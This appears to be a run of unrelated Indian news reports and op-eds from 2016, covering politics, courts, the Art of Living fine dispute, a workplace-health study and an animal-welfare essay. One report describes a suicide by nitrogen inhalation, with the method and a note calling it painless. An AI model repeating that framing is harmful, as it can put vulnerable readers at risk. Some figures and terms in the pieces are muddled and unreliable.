The District Magistrate said ex-gratia compensation of Rs four lakh would be given to the kin of each killed in the blaze.
New Delhi: Art of Living (AoL) foundation on Friday expressed its inability to pay the "remaining green fine" of Rs 4.75 crore to the National Green Tribunal that was levied against it in lieu of alleged environment destruction caused by its World Culture Festival on the Yamuna floodplanes last month.

The foundation said it can only give a bank guarantee for it.

Petitioner Manoj Misra's lawyer, Sanjay Parikh, has alleged that Art of Living did not intend to pay the penalty and was only "beating around the bush" since the beginning of the case.

They are doing so consistently from the very beginning. First they lied to the court in a sense that they don't have money to pay for the environment destruction their event had caused. Although the ministry of culture had released Rs 1.5 crore for the event, they told the court that they don't have any money and got away by paying just Rs 25 lakh in place of Rs 5 crore, Parikh told IANS.

The development comes amid reports of threats from Islamic State militants to AoL head Sri Sri Ravi Shankar.

Parikh also expressed the apprehension that AoL was trying to get the 9 March NGT order nullified. The NGT in its judgment had established that there was environment destruction caused to Yamuna Flood plains by the World Culture Festival and instructed a principal committee to verify the quantum of destruction occurred after inspecting.

AoL knows that principle committee's report will be against them. So they are creating hurdles in their inspection. Now they are saying that they will decide on their own if at all any destruction has been caused to the flood planes by their event, Parikh said.

Meanwhile, officials from Delhi Pollution Control Committee (DPCC) confirmed, they are not ready with the inspection report yet.

The NGT committee comprised officials from DPCC, National Pollution Control Board, Ministry of Environment and Forest Conservation and Union Water Resource ministry.

AoL, though, countered the allegations insisting they have no hesitation to pay the money. "We have only asked for a change in the modalities of payment.

The change, according to them: We have no objection to pay the penalty if at all any damage has been done to the flood planes. We have just informed the NGT that we may like to pay in form of a bank guarantee than cash in this case, AoL lawyer Akshama Nath told IANS.

Replying to the question on creating hindrance in the way of NGT committee's inspection, Nath blamed the delay in preparing the report on inter-departmental miscommunication.

There was some confusion among the officials who visited the site for inspection and the higher up in the hierarchy of their department, Nath said.

Meanwhile, the Delhi Development Authority has also expressed apprehensions that AoL may not pay the penalty to restore the damage done to the flood planes. They said a bank guarantee was not enough.

If they had to do so they would have done that long back. The three weeks for paying full fine of Rs 5 crore lapsed on 1 April. The NGT committee is not at a stage to submit its report within stipulated deadline of eight weeks. If there is no report AoL's probability of depositing the penalty is bleak, DDA officials concerned with the case, who did not want to be named, told IANS.

In fact, a four-member expert committee of NGT had said in its report that World Culture Festival organised by Sri Sri Ravi Shankar's Art of Living Foundation had destroyed parts of the flood-plains of Yamuna and it would require at least Rs 120 crore to restore the area to its original state.

The expert committee headed by Water Resources Secretary Shashim Shekhar was assisted by AK Gosain, a professor of IIT-Delhi, CR Babu and Brij Gopal.

Response by The Art of Living:

To report that The Art of Living "cannot' pay the remaining amount is factually erroneous. As the organisation's lawyer has clarified that it has no hesitation in paying the money, but has only asked for change in modalities of payment.

The NGT has not imposed any fine on the organisation.

The Tribunal in its interim order dated March 11, 2016 has categorically stated, "We make it clear that we have imposed a sum of Rs 5 cr initially as an 'environmental compensation' in exercise of our jurisdiction in terms of section 15 & 17 of the NGT Act and not a penalty (fine) in terms of section 26 of the NGT Act. The least we can expect from a journalist is responsible and factual reporting. Kindly understand the difference and report only facts.

Ample space has been given to the petitioner Manoj Mishra's lawyer Mr. Parikh, whose statements are filled with falsehoods and conjecture. To accuse Art of Living of "lying to the court by saying it did not have the money to pay for the environment destruction their event caused" is another statement that we strongly object to. As a trust, we were unable to immediately furnish the Rs. 5 crore which the court kindly agreed to and allowed for the 25 L deposit.

To say that the event caused environmental destruction as though it was a foregone conclusion is precisely what the Art of Living is challenging in court. Who has quantified the damage to the floodplain and how?

The NGT's Principal Committee visually inspected The World Culture Festival's ground for one hour and pronounced a reparation fee of Rs.100-120 crore, then later Rs. 5 crore based merely on VISUAL assessment. No sampling, or scientific assessment was undertaken. This raises many questions regarding the credibility of the Principal Committee.

In another assumption made by Parikh, he says "Art of Living knows that the Principal Committee's report will be against them". He obviously knows something we don't which raises more questions about the working ethics of the committee itself.

Regarding creating "hurdles" for inspection of the land, the facts are grossly misrepresented. The inspection team arrived unannounced at the venue two days before the Art of Living handed over the land to the DDA. In a letter dated April 1, 2016, which the inspection team had written to the NGT court, they clearly stated that they would begin their inspection only once the organisation vacates the land and hands it back to the DDA. Following which DDA will have to inform them.

However, they arrived with huge JCB machines without informing anybody and before the land had been handed over by us to the DDA. Once we informed them of the court proceedings and their own letter pertaining to it, they decided that they would postpone their inspection till we had vacated the land.

On 18 April 2015, the grounds were returned to the DDA greener and cleaner than when it was handed to us.

The Art of Living has been subjected to an onslaught of negative publicity thanks to Mr. Mishra's baseless complaint to the NGT. The court itself asked Mr Mishra why he had woken up just 20 days before the event was scheduled. For someone who runs the "Yamuna Jiye Abhiyan" we echo the same. We wonder how, under his very watchful gaze, huge, permanent, destructive constructions including the Akshardham Temple, Delhi Secretariat, Delhi Metro, the Commonwealth Games Village, the Delhi Millennium Bus Depot, Sonia Vihar and Batla house which are spread, for all to see on the 3000 sq kms. of these very floodplains, never drew any protests, let alone media coverage, the likes of which the Art of Living was and continues to be subjected to.

So suffice it to say that if the headline of an article is misleading, can the article itself be far behind? We hope that in future you will be more mindful of the facts and your reporters present their stories in a fair and unbiased manner.

(Editor's note: The original article was an IANS report.)
London: If you think that your ever-demanding boss always directs you to push the envelope and work extra hard to meet the deadlines, be alarmed as this workplace behaviour may be detrimental to your overall health in the long run.

According to the researchers, seniors who inspire their staff to perform above and beyond the call of duty may actually harm their employees' health over time.

via GIPHY

The findings suggest that constant pressure from these "transformational leaders" may increase sickness absence levels among employees.

Some vulnerable employees in groups with such "transformational leaders" may, in the long term, increase sickness absence rates if they ignore their ill-health and frequently show up for work while being ill.

"It is possible that high-performance expectations pose a risk to both healthy and vulnerable employees and the motivational aspects of transformational leadership may backfire," said Karina Nielsen, professor of work and organisational psychology at Norwich-based University of East Anglia (UEA).

"Transformational leaders may promote self-sacrifice of vulnerable employees for the greater good of the group by encouraging them to ignore their illnesses and exert themselves. This can lead to increased risks of sickness absence in the long term," Nielsen noted.

The study, published in the journal Work & Stress, looked for the first time at the relationship between presenteeism, transformational leadership and sickness absence rates.

Transformational leadership has previously been associated with positive employee well-being and reduced general absenteeism in the short term.

However, the new study suggests that a transformational leader who encourages their group to make an extra effort at work may exacerbate sickness absence, as high levels of presenteeism may result in reduced opportunities for recovery along with the risk of spreading contagious health conditions.

"Such leaders express values to perform above and beyond the call of duty possibly at the expense of employees' health because they have a self-interest in demonstrating low sickness absence rates in their work groups," the authors noted.

This pattern may be a particular problem in organisations where managers are rated according to their ability to control sickness absence levels.

The research focused on postal workers and their managers in Denmark over three years.

In total, there were 155 participants in 22 work groups.

Employees rated their immediate line manager at the start of the study and were asked about their sickness absence and presenteeism for the previous year. Sickness absence was assessed again in the second and third year.

The authors found that transformational leadership increased sickness absence when workers exhibited 14 more days of presenteeism than their colleagues.

The findings suggests that more immediate, short term effects can be found among staff but for vulnerable workers, such as those with high levels of presenteeism, increasing adverse effects take longer to materialise.

Lack of recovery time may also explain this effect, leading to them eventually having to go off sick because they can no longer ignore their symptoms.

"The assumption that 'more transformational leadership is better' does not hold over time. As role models, transformational leaders should display healthy behaviours when motivating people and encourage workers to look after their own health," added Kevin Daniels, professor of organisational behaviour at UEA's Norwich Business School.

Leaders should also be trained in incorporating well-being and health into the vision, goals and objectives they develop for work groups.
New Delhi: The news of a young techie who committed easy and painless suicide by inhaling nitrogen gas in Hyderabad has left the Indian health care providers worried. This may lead others suffering from chronic depression and having suicidal thoughts to follow suit, they fear.

Lucky Gupta Agarwal, 33, who wanted a painless death and searched the internet for an easy method to end his life, bought a small nitrogen cylinder and inhaled the gas by using a mask at his apartment.

According to Dr RK Singal, head (internal medicine) at BLK Super Specialty Hospital in the capital, nitrogen gas can prove catastrophic and fatal if inhaled in large quantity because body will be left oxygen-deprived.

"Depending on the dose of nitrogen inhaled, it can lead to full body paralysis to instant death. Nitrous oxide is the most commonly used inhalation anesthetic used in dentistry. In normal dose and under professional supervision, it is acceptable by human body and doesn't prove fatal. But when inhaled in excess, it can certainly knock down both our nervous and respiratory system, as the body gets deprived of oxygen," Singal told IANS.

Singal is worried that the Hyderabad techie's suicide may trigger more such cases. "Depressed people can buy nitrogen cylinders and end their lives. There has to be some tough mechanism on its availability in the open market," he said.

The human body inhales close to 75 percent as nitrogen from the atmospheric air along with 21 percent oxygen, which is used to sustain life. In case one inhales pure nitrogen, it can result in the individuals death in a matter of few minutes as it leads to complete lack of oxygenation to the vital organs, Dr Om Prakash, consultant (anesthesia) at Fortis Memorial Research Institute (FMRI), Gurgaon, told IANS.

The gradual depletion of oxygen, as in this case, affects the brain first and eventually the heart stops pumping blood, leading to the death of an individual. However, if the body is immediately supplied oxygen during the initial process and the person is de-nitrogenated, this condition can be reversed, Dr Prakash explained.

"I am committing suicide. Nitrogen gas is easy and painless method of suicide. I wish everyone peace and happiness," Agarwal wrote in a suicide note found in his room.

According to Dr Nevin Kishore, head of bronchology and senior consultant (respiratory medicine) Max Super Specialty Hospital in Saket, It depends on the quantity and the kind of place you are in. If in a closed and packed place, then it might be harmful but in an open place, inhaling nitrogen gas is not fatal because nitrogen is present in the air too.
This week news rolled out that Chandigarh has a new official policy against mini-skirts in discos to prevent anti-national activity. There was some railing, some mandatory ranting. There were plenty of jokes made about the "Controlling of Places of Public Amusement, 2016" policy which apparently came into effect on 1 April. Soon after the public uproar, the Chandigarh home secretary clarified in a press conference that the state is not planning to impose a dress code in discos.

In fact, the policy was created under the direction of the Punjab and Haryana High Court to deal with law and order issues (read: Tu kaun hai? / Haan, mujhe bhi pata nahin ki main kaun hoon brawls) in places like discos, bars, bowling alleys and gaming parlors. Turns out that apparently the only thing the policy does say directly about women is that these establishments should not deploy "any exhibition or advertisement whether by way of posters or in the newspapers, photographs of scantily dressed women."

Officers can now refuse issuance of fresh permission certificates or revoke existing permission certificates if they consider the business to be, among other vaguely framed clauses, "indecent or of a scurrilous character", "contain offensive reference to personalities", "wound the susceptibilities of any nation or followers of any religion" or "be seditious or to be likely to excite political discontent". For good measure, the policy also reduces bar timings by two hours to get them to shut by midnight. In his press conference the home secretary insisted, when asked about the mysterious sedition clause, "I am not saying seditious activities are taking place in Chandigarh's discotheques but if it happens, then action will be taken."

So mini-skirts are at least as safe as they ever have been in Chandigarh, except perhaps from the current onslaught of maxi-length hemlines.

Here's the thing, though. No one was amazed that such a new law could be passed. Trained as we are to believe six impossible things about policing women's bodies before breakfast everyday, why would it surprise us that someone has snuck in a law about hemlines? Until it was fact-checked, it seemed a thoroughly plausible story to all of us. And if in fact such a law existed (violating all constitutional rights) it would take roughly 24 hours for people to tell themselves that it's for women's safety and mini-skirts are disgusting anyway. In the way that the world functions, capitalist enterprise of all kinds that use women's bodies for advertising and selling their products and services co-exist peacefully (like animals observing the Water Truce in The Jungle Book) with laws that deny women control over their own bodies.

Some days I'm convinced that we are all living in one giant Resident Welfare Association (RWA) run by a cranky committee - all one billion of us. You know the kind that I'm thinking of - the kind that has made it 'normal' all over the country to say that children cannot play in neighborhood parks but companies can put their big, fat names on high fences all around it. The kind that has made it 'normal' for domestic help and drivers to have to go and get 'cleared' by the police. The RWA that is scandalised if you wear a hijab, and if you don't wear a hijab (take your pick). The RWA that is scandalised if the man from flat #4A offers a lift to the woman from flat #5A and then lets her sit in the front seat alongside him.

"I'm just fed up with these uncles," we mumble. Uncles left to themselves do tend to make all manner of things 'normal'. They are less interested in the possibilities of community living and more terrorised by nightmares of how everything can go out of control. This terror translates into a Colonel Haathi-type useless harrumphing about discipline.

In an RWA situation, uncles nevertheless still have to deal with litigious residents, irritable rebels who don't want to come to Jesus even when they are on their deathbeds, cranky young women who insist on walking too fast, teenagers who drive their cycles noisily, lesbians who don't have the decency to be embarrassed, flagrantly smoking teenagers. RWA uncles are fed up because they have to deal with the wide variety of human orneriness and know that their seat is precarious. RWA uncles wish they could send people to jail. They can only refuse to rent to you, or fight with your landlady if she's made the mistake of renting to an undesirable like you. Or go to court if by some blight of fate you are the landlady.

But in the greater RWA of our nation, where 'residents', 'welfare' and 'association' are all loaded words, such uncles remain unchallenged. So little is required for them to panic, so few people are (metaphorically) playing on their grass and (somewhat metaphorically) refusing to come to Jesus, that uncles begin to believe their own afternoon dreams of discipline. They begin to believe that their seat on the committee is a real thing. They begin to believe that bar brawls can be controlled by pressing the nuclear button, aka saying 'sedition-sedition'. If you say, it's all maya, uncle, they will ask angrily, kaun hai yeh Maya and what's her PAN number?

For a few hours, we all came to believe that hemlines will now be policed in Chandigarh. What would have been amazing was if we had all been amazed by this. If we had all said: How hilarious, no such law can be constitutional or ethical or possible outside of fiction, so it must be a joke. Instead, right now some uncle somewhere is harrumphing and polishing his speech that begins: Long years ago, we made a tryst with destiny, and it wasn't in a mini-skirt.

Nisha Susan is Editor of the online women's magazine The Ladies Finger
Kolkata: Marking the 400th death anniversary of William Shakespeare on Saturday, a six-month online festival on the Bard of Avon will be presented by performers from UK and will be available all over the globe including India.

Shakespeare Day Live, a digital pop-up channel, co-curated by BBC and British Council, will have leading art organisations across UK, giving performances, analysis, talks and fun streamed online, a British Council release said.

A dazzling array of actors, musicians and artists including Dame Judi Dench, Sir Ian McKellen, Adrian Lester, Ralph Fiennes, Simon Russell Beale, BBC Scottish Symphony and BBC Concert Orchestras is featured on the live channel along with new work from young artists from across the UK and Europe.

In Kolkata, the British Council is holding a series of activities including workshops, panel discussions and contests.

These include a session on 'Shakespeare on Leadership and Power', a mask-making workshop inspired by the Bard's characters and their monologues among other activities.

The Young Adults Repertoire of Creative Arts Studio will present 'A Midsummer Night's Dream, Shakespeare's well-known comedy.

In another session, students will relive Shakespeare's world famous plays, learn English through his popular comedies and discover aspects of the Bard's life and works through podcasts, blog contests and live streaming of videos.

They would also take part in a blogging contest on 'The Shakespearean film/adaptation that has influenced me most and why'.
London: Campaigners for a British exit from the European Union reacted angrily Friday to US President Barack Obama's call for the UK to stay in the bloc.

In an article for the Daily Telegraph newspaper, Obama said that the EU "enhances Britain's global leadership."

Nigel Farage, leader of the anti-EU UK Independence Party, said Obama  who is due to meet Prime Minister David Cameron later Friday  should "butt out."

London Mayor Boris Johnson, a leader of the exit campaign, said Americans "would never contemplate anything like the EU for themselves."

Writing in The Sun newspaper, Johnson said Obama's stance "is a breathtaking example of the principle of do as I say, not as I do."

Johnson also recounted a claim that a bust of former British Prime Minister Winston Churchill was removed from the Oval Office after Obama was elected and returned to the British Embassy. Johnson wrote that "some said it was a symbol of the part-Kenyan president's ancestral dislike of the British Empire, of which Churchill had been such a fervent defender."

The White House has said that the story is untrue, and the bust is still in a prominent place in the presidential residence.

Johnson's comments drew criticism from his political opponents. Former Liberal Democrat leader Menzies Campbell said that "many people will find Boris Johnson's loaded attack on President Obama's sincerity deeply offensive," and Labour Party lawmaker Diane Abbott said that "Boris dismissing president Obama as 'half-Kenyan' reflects the worst Tea Party rhetoric."

Churchill's grandson Nicholas Soames  like Johnson a Conservative lawmaker  tweeted: "Appalling article by @BorisJohnson in Sun totally wrong on almost everything. Inconceivable WSC (Winston Churchill) wld not have welcomed Presidents views."
Chennai/Thiruvanathapuram: The process for the May 16 Assembly elections in Tamil Nadu, Kerala and Puducherry began on Friday with the issuing of notifications by the Election Commission.

Filing of nominations will now start for 234 constituencies in Tamil Nadu, 140 constituencies in Kerala and 30 seats in Puducherry.

The last date to submit nomination papers is April 29 and they will be scrutinized on the next day. May 2 will be the last day for withdrawal. Counting of votes is on May 19.

Around 5.6 crore people are eligible to cast their franchise in Tamil Nadu, where about 65,000 polling booths will be set up.

Tamil Nadu is witnessing a multi-cornered contest involving the ruling AIADMK, DMK, PWF-DMDK-TMC combine and PMK and the BJP-led alliance.

Among the top leaders who campaigned were AIADMK supremo and Chief Minister J Jayalalithaa, DMK President M Karunanidhi, his son M K Stalin, DMDK founder Vijayakant, MDMK's Vaiko and PMK's Chief Ministerial candidate Anbumani Ramadoss.

The Union Territory of Puducherry has a total of 9,48,717 voters and 4,97,790 of them are women. 930 polling booths would be set up.

In Kerala, the total strength of voters is 2,56,27,620 and 1,33,01,435 of them are women.

Soon after the notification was issued, several candidates filed their nominations.

The filing of nominations began at 11 am on Friday at district collectorates.

Former Kerala Finance Minister K M Mani, Forest Minister Thiruvanchoor Radhakrishnan, BJP state President Kummanam Rajasekharan and party's former state unit chief V Muraleedharan were among those who filed their nominations on the first day.

Eight-three-year-old Mani, leader of the Kerala Congress (M), a constituent of the ruling Congress-led UDF, who is contesting from Pala assembly constituency in Kottayam district, filed his nomination papers before the returning officer at Kottayam collectorate.

Mani, who holds the record for longest-serving member of the state Assembly, had to resign from the Oommen Chandy Cabinet in the wake of the corruption allegations against him in the bar bribery scam.
New Delhi: The Supreme Court on Friday asked the central government to approach its secretary general for listing its petition challenging an Uttarakhand High Court order setting aside President's Rule in the state.

An apex court bench of Justice Dipak Misra and Justice S K Singh asked Attorney General Mukul Rohatgi to approach the court's secretary general after he mentioned the central government's plea challenging high court judgement.

Since Chief Justice of India (CJI) Justice T S Thakur was absent, Justice Dipak Misra, who was presiding over the bench, stated that the CJI would be apprised of the matter and a hearing would be fixed thereafter.

The court said thereafter, Chief Justice T S Thakur will decide which bench will hear the matter.

It is likely that the central government's plea may come up for hearing later on Friday or on Monday. The Court Registry is expected to put up the matter before the CJI and convey the decision during the course of the day.

Justice Misra said in view of the non-availability of the CJI, some arrangement has to be done for its listing.

The AG said there was a need for an urgent hearing in view of the apparent problem likely to occur between Friday and Monday.

"I want to press for the stay today itself," Rohatgi said.

A petition was also filed by nine Congress rebel MLAs who were disqualified by the Speaker and they have challenged the HC verdict keeping them away from participating in the floor test scheduled for April 29.

The AG, who was flanked by Additional Solicitors General (ASG) Maninder Singh and Tushar Mehta and senior advocate Harish Salve who had appeared for Uttarakhand in the HC, said an SLP has been filed on Friday morning challenging the verdict of the HC pronounced on Thursday by which the President's Rule proclamation under Article 356 has been quashed.

Senior advocates Kapil Sibal, Abhishek Manu Singhvi and Vivek Tankha were present on behalf of the Congress party.

Coming down heavily on the Centre for the March 27 proclamation under Art 356, the High Court quashed the imposition of President's Rule in Uttarakhand on Thursday and restored the dismissed Congress government while castigating the Centre for uprooting a democratically-elected government.

The HC had said the imposition of President's rule was contrary to the law laid down by the Supreme Court.

Directing the revival of the Harish Rawat government, which was dismissed by the Centre on March 27, the High Court had ordered that he should seek a vote of confidence in the Assembly on April 29.

With inputs from agencies
Mumbai: In yet another attack on the Modi government after the Uttarakhand High Court verdict, key NDA ally Shiv Sena on Friday said the Centre's decision to impose President's Rule in the hill state has been "thrown into the dustbin" and that it had "disrobed" itself.

The Modi government suffered a major embarrassment after the Uttarakhand High Court in a stunning verdict on Thursday quashed the imposition of President's Rule in the state.

The Sena, while welcoming the landmark verdict to restore the democratically elected government, said it also "belittled" the office of the President.

"The judiciary has thrown into the dustbin the Centre's decision to impose the President's rule in Uttarakhand. It has also discredited Centre's stand that the President had endorsed its recommendation," said an editorial in Sena's mouthpiece 'Saamana.'

The Court's observation that the President can err literally means the Modi government has committed a mistake by imposing Central rule in the hill state, it said.

"The Modi government tried to use the President's office for political gains but were prevented from doing so by the Court. Thus, not only has the Centre disrobed itself, but also belittled the office of the President," it said.

"Looking from a democratic perspective, the verdict should be welcomed," the Sena said.

The High Court also castigated the Centre for uprooting a democratically-elected government.
Jamshedpur: Former Jharkhand Congress president and Rajya Sabha MP Pradip Kumar Balmuchu on Friday stressed on unity among Opposition parties to defeat BJP in the next Assembly polls in the state.

"Now on we should shelve all our differences and come under a platform to defeat BJP in the state," Balmuchu said while responding to a query about the bypolls scheduled to be held for Godda and Panki Assembly seats next month.

Addressing a press conference here, Balmuchu said a co-ordination committee meeting of the Jharkhand Pradesh Congress Committee (JPCC) was on in Ranchi on Friday to explore possibilities to contest the by-polls in alliance with JMM.

When his attention was drawn to the fact that the main Opposition party in the state, JMM, has decided to go it alone and likely to announce the names of candidates for the two seats today in Ranchi, Balmuchu said JMM was free to take decision, but Congress wants to contest the by-polls in an alliance to defeat the BJP.

"The by-polls are a good opportunity for the Opposition to come under one platform to defeat BJP in the next Assembly elections in 2020," he said.

Bypolls for Godda and Panki Assembly constituencies in Jharkhand would be held on 16 May.

Referring to the High court verdict regarding the Uttarakhand government, Balmuchu hailed the judgement and said it would repose people's faith in judiciary.

"The court verdict was a victory of democracy and a befitting reply to those forces who wanted to strangulate it," he said.
Why are opposition MLAs crossing the political divide to join hands with the ruling parties in Telangana and Andhra Pradesh? Is it the lure of the lucre? If no, what is the magnet thats attracting them towards the ruling parties?

Dangling the carrot of Section 26 (1) in the AP State Reorganisation Act (APSRA), chief ministers of AP and Telangana have so far scooped out at least a dozen MLAs each from the opposition in their respective states.

Section 26 (1) of the APSRA 2014 states: Subject to the provisions contained in article 170 of the Constitution and without prejudice to section 15 of this Act, the number of seats in the Legislative Assembly of the successor States of Andhra Pradesh and Telangana shall be increased from 175 and 119 to 225 and 153, respectively, and delimitation of the constituencies may be determined by the Election Commission

The two governments are beseeching the Centre to expedite the process of delimitation.

While Chandrababu Naidu sliced out a dozen MLAs from the only opposition party, the YSR Congress, in his state, those who joined the TRS in Telangana included twelve from the TDP, five from the Congress, two from the YSR Congress, two from the Bahujan Samaj Party. While all the TDP members in the Telangana state Legislative Council merged the party with the TRS in the Upper House, the TDP floor leader too submitted a letter to the Speaker of the Assembly to consider merger as 12 out of 15 members joined the TRS.

Ironically, the TDP, which opened the floodgates to admit opposition MLAs in AP, is crying hoarse in Telangana on the same issue.

The exodus of MLAs is continuing unabated as they are nursing great expectations of an increase in the total number of Assembly seats in their respective states. While KCR consolidated his position in the Assembly from a wafer-thin majority of 63 to a strong 87, Chandrababu Naidu wants to debilitate the opposition to comfortably win three Rajya Sabha seats in July.

A senior TDP legislator, on the condition of anonymity, said that citing the possibility of an increase in the number of Assembly seats, Chandrababu Naidu was admitting MLAs from YSR Congress in places where the TDP is very strong.

If delimitation does not happen before 2019 elections, the instances of MLAs switching sides would amount to the TDP gifting readymade candidates to the YSR Congress on a golden platter, the legislator pointed out. All the disgruntled candidates who lost to the YSR Congress nominees in 2014 may find refuge in the opposition to secure tickets. The TDP is trapping MLAs based on their caste; it has lured minorities, SCs, Kapus, Reddys and others in a meticulous manner. It may not be the same for the TRS, as the party doesnt have a strong opposition in Telangana, he said.

However, things seem to be turning knotty and the fate of enhancement of seats hinges on enacting a Constitutional amendment, which is likely to become mandatory.

If an amendment has to be adopted, the same has to be passed with two-thirds majority in both Houses of Parliament and approval from at least half of the state assemblies across the country. It is indeed a tricky situation for all, if not prickly.

Though Union Minister for Parliamentary Affairs M Venkaiah Naidu has been constantly talking about the increase in the number of seats, the TDP and TRS leaders feel that the Bharatiya Janata Party (BJP) is itself sceptical about taking up the process.

Even if the BJP wants to take it up, the irony is that the amendment to Section 3 of Article 170 of the Constitution blocks any change in the number of constituencies in the country until 2026.

Congress leader and former Union Minister Jairam Ramesh, who was the chief architect of the APSRA 2014, told Firstpost that the process of delimitation in the country is frozen until 2026. Asked if the delimitation of Assembly seats in the two states, as a special case, is possible, he said that it is unlikely.

The TRS MP from Karimnagar B Vinod Kumar, however, insisted that the delimitation was possible. No big Constitutional amendments were required for enhancing the number of seats. Presenting an incisive analysis to buttress his argument, the MP told Firstpost that if the Parliament, by a simple majority, adopted a resolution replacing the phrase subject to in the aforementioned provision with the phrase notwithstanding, it would be enough for the Election Commission to take up the process with the approval of the Ministry of Home Affairs.

As Article 4 provides for a facility that any part of the Constitution could be amended, there was no need for the Parliament to go through the process prescribed under Article 368 -- securing two-thirds majority in both Houses and approval from half the total number of assemblies in the country for the purpose of delimitation in the two States of AP and Telangana, which was already enshrined in the APSRA 2014.

When I intended to introduce a Private Member Bill, even the Lok Sabha Speakers office too raised this question. When I explained to them the position, the Bill was allowed to be introduced in the Parliament, said Vinod Kumar.

In fact, the Telangana government made a strong pitch with the Centre to expedite the process of increasing the number seats on 19 February, 2016.

The total number of assembly constituencies under each Lok Sabha constituency may increase from 7 to 9 in both States, if the delimitation is effected. Of course, the population size would not get evenly distributed.

Somireddy Chandramohan Reddy, a TDP MLC in Andhra Pradesh, said that smaller states experience of unstable governments should be kept in mind and the number of Assembly seats must be increased, as committed in the APSRA 2014. He felt that if the Centre had commitment, the process could be completed in about a year, as no political party was opposed to the enhancement of number of Assembly seats in AP and Telangana. In fact, the National Democratic Alliance had the responsibility to fulfil this commitment, he said.

A senior bureaucrat in the Ministry of Parliamentary Affairs, who did not want to be named, said there were two options in front of the Centre: 1. Amending the APSRA 2014; and 2. Amending the Representation of People Act.

If the first option is chosen, the demand for enhancement of seats in states like Chhattisgarh, Jharkhand, Uttarakhand and a few other smaller states would also come up. The second option too is equally complicated. For now, the government is planning to go with the first one.
Udhagamandalam: Chappals and eggs were hurled at the car of former union minister and DMK leader A Raja on Friday as he faced the wrath of a group of party workers opposed to the choice of MB Mubarak as the candidate for Coonoor in the 16 May assembly elections.

Police said around 400 DMK workers reportedly owing allegiance to former state minister D Ramachandran gathered in front of a hall in Kothagiri where Raja, former Lok Sabha member from Udhagamandalam, was to introduce the candidate.

As the car reached the venue, chappals and eggs were hurled at the vehicle. Some of the missiles landed on the car even as the workers gheraoed Raja, by preventing him and Mubarak from getting out, they said.

The protest came a day after party patriarch M Karunanidhi appealed to the cadres to put behind their disappointments over choice of nominees and work unitedly for DMK's victory assuming that he himself is the candidate in all the constituencies.

DMK, which is seeking to storm back to power in the polls, has been facing protests over choice of candidates in several constituencies and had changed four of them already.

Police said they managed to clear the crowd and made way for the two leaders to reach the meeting hall.

The meeting, attended by nearly 800 DMK workers, went off peacefully, police added.

There has been strong opposition against the nomination of Mubarak, a former whip of the party in the assembly, from the

supporters of Ramachandran who claimed that their leader had nurtured the constituency well.

However, the party has stuck to its decision to field Mubarak ignoring the protests.
From an equine police officer who gave his life serving the nation, to the mania induced by hash-tags upon a congenitally enraged people. From the mindless power trip that turns 'people's representatives' into blinded, maleficent monsters and makes them vent their spleen on animals as proxies for opponents, to pious, halo-wearing 'human rights' activists who dismiss the 'softer' issue of animal rights as irrelevant: there is something straight out of George Orwell's Animal Farm in the entire story of the late Shaktiman.

The white horse works for the police force. One day, he is on crowd-control duty. Joined by others, a choleric man tries to thrash Shaktiman. He says he missed and hit the ground. But he did tug maniacally at the horse's reins (at least). The horse loses balance, gets his hoof stuck in a grill and collapses.

Horses are supremely intelligent and graceful creatures that lose neither their footing nor their innately kind nature that easily. The very fact that Police Officer Shaktiman could have trampled to a pulp the spineless wimps who attacked him but didn't, is ample proof of his superior training, good breeding and innate intelligence. He kept his inner strength, while the worst beast known to man - mankind itself, displayed nothing but cowardice and felled him.

One micro-cell of a single strand of Shaktiman's white mane contained more intelligence than in the bulks of all those depraved demonstrators and chief accused, BJP MLA Ganesh Joshi put together.

Gangrene sets in on Shaktiman's leg. The media hovers.

Meanwhile, other familiar, mind-numbing cruelty plays itself out in each and every town of India, every minute, each day. Thousands of street dogs - every colony's best, most loyal, tee-totalling chowkidhars - are kicked, punched, killed, or set alight with fire-crackers. Performing bears must follow the painful rope tied to rings pierced crudely through their ultra-sensitive snouts. Dancing monkeys, fangless snakes in baskets, blinded cats and cancerous rabbits in laboratories, chickens stuffed like mattress filling into tiny cages, eyes dulled by death even before that blow of final release, endangered, exotic birds squeezed into cages on sidewalks in 45 degree summer heat while their fat owners enjoy aircon inside: cows shot up with oxytocin to keep them in a state of perennial lactation, fatigued female Labradors kept permanently pregnant by greedy breeders, expectant pedigreed dog-mothers flung out of moving cars because they mated with a stray and ruined the lineage that made the 'pet-loving' family buy them.

In the full glare of camera lights, Shaktiman then gets a new prosthetic leg. (Made in USA, straight out of the pre-election budget of whichever party ordered its import).

The media ends its stake-out and moves on to 'sexier' stories. Then, something mysterious happens to Shaktiman. He dies. A valiant, wasted and painful death.

Now let's look at MLA Joshi, the chief culprit who assures us he loves animals, who once built schools for girls as a career move and was so shaken by the media backlash after his assault on Shaktiman that he offered to 'adopt' him. (Undoubtedly, he will use his personal funds soon to build a 24-carat gold temple to the dead horse and certainly win votes for it).

Finally, let's look at us, the larger general Indian public.

Shaktiman becomes a trend, as stylish to sport a Tom Ford, a button as hip as the one on the other lapel concerning starving children in sub-Saharan Africa. But more power to the media and the Hashtag Hussars, because they draw attention to a serious matter: that we have become savages. Hot-selling' items' among our new-rich right now are the extremely Alpine and polar dog breeds St Bernard and the Siberian Husky.

The dehydrated angels greet their breeders with tail-wags and licks when the latter return to the kennel, again and again, to enhance their 'looks' with steroid shots. Next, these 'pets' are sold to other demons: brattish kids and indulgent parents. When the new acquisition becomes too big and needs maintenance but the family is now going on holiday, the 'pet' is tied outside on an open balcony, water bowl indifferently in place where the leash can't reach. Or, simply abandoned.

Look in the mirror: this is us.

Supposedly educated, middle-class Indians, professionals the world covets, the same who fiercely protect the cow on discussion boards. We have the highest percentage of vegetarians - 40 percent according to a 2007 survey, ie, 50 million -in the world. Many of us are prompted by our faiths, almost all of which preach ahimsa, non-violence. We are a devout people who singsong the concept of compassion at every available satsang. Yet, we take our kids to a wildlife park or a zoo and encourage them to terrify wild animals and throw potato wafers at them.

But animal welfare is not something ignored by such idiots alone.

Take our human rights warriors, fiercely aggressive about our farmers, droughts, displaced tribes, molested women, the abuse of lower castes by zamindars. Their tenacity along with their respective mascots in the 'development' media, is genuinely admirable, since they have achieved many concrete results over 70 years.

But this is a breed that brooks no encroachment of its 'space' and derides animal activism as fashionable balderdash. As they sip cocktails in their Fabindia gear on a Delhi diplomatic lawn, they spit out the fatuous question: how can you talk about bears, birds or dogs, when there are PEOPLE dying everywhere?! This activist extremism is pretty much in the same vein as 'you are with us, or against us' (in other words: Either you vote left or Congress or, you are a rightwing Hindu chaddiwalla fanatic.).

So also, either you sit with us in dharna against the displacement of Darfurians in Sudan, or you are a lightweight 'socialite' unaware of the world's REAL issues.

